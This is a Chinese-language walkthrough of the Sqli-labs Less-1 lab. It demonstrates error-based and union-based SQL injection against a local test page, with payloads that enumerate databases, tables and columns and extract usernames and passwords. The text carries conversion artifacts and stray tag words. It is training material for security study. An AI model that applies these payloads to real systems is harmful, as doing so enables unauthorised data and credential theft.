Sqli-labs less 1

Less-1

咱们能够在http://127.0.0.1/sqllib/Less-5/?id=1后面直接添加一个 ' ,来看一下效果: sql

从上述错误当中,咱们能够看到提交到sql中的1'在通过sql语句构造后造成 '1'' LIMIT 0,1,多加了一个 ' 。这种方式就是从错误信息中获得咱们所须要的信息,那咱们接下来想如何将多余的 ' 去掉呢? 数据库

尝试 'or 1=1--+ less

此时构造的sql语句就成了 orm

Select ****** where id='1'or 1=1--+' LIMIT 0,1 blog

能够看到正常返回数据。 排序

此处能够利用order by。Order by 对前面的数据进行排序,这里有三列数据,咱们就只能用order by 3,超过3就会报错。 get

'order by 4--+的结果显示结果超出。 it

最后从源代码中分析下为何会形成注入? io

Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; table

Id参数在拼接sql语句时,未对id进行任何的过滤等操做,因此当提交 'or 1=1--+,直接构造的sql语句就是

SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1

这条语句因or 1=1 因此为永恒真。

 

 

此外,此处介绍union联合注入,union的做用是将两个sql语句进行联合。Union能够从下面的例子中能够看出,强调一点:union先后的两个sql语句的选择列数要相同才能够。Union all与union 的区别是增长了去重的功能。咱们这里根据上述background的知识,进行information_schema 知识的应用。

http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,2--+

当id的数据在数据库中不存在时,(此时咱们能够id=-1,两个sql语句进行联合操做时,当前一个语句选择的内容为空,咱们这里就将后面的语句的内容显示出来)此处前台页面返回了咱们构造的union 的数据。

爆数据库

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

 

爆security数据库的数据表

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

 

爆users表的列

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

 

 

爆数据

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+

此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=2--+ LIMIT 0,1

 

 

Less1-less4均可以利用上述union操做进行注入。下面就不进行赘述了。

相关文章
相关标签/搜索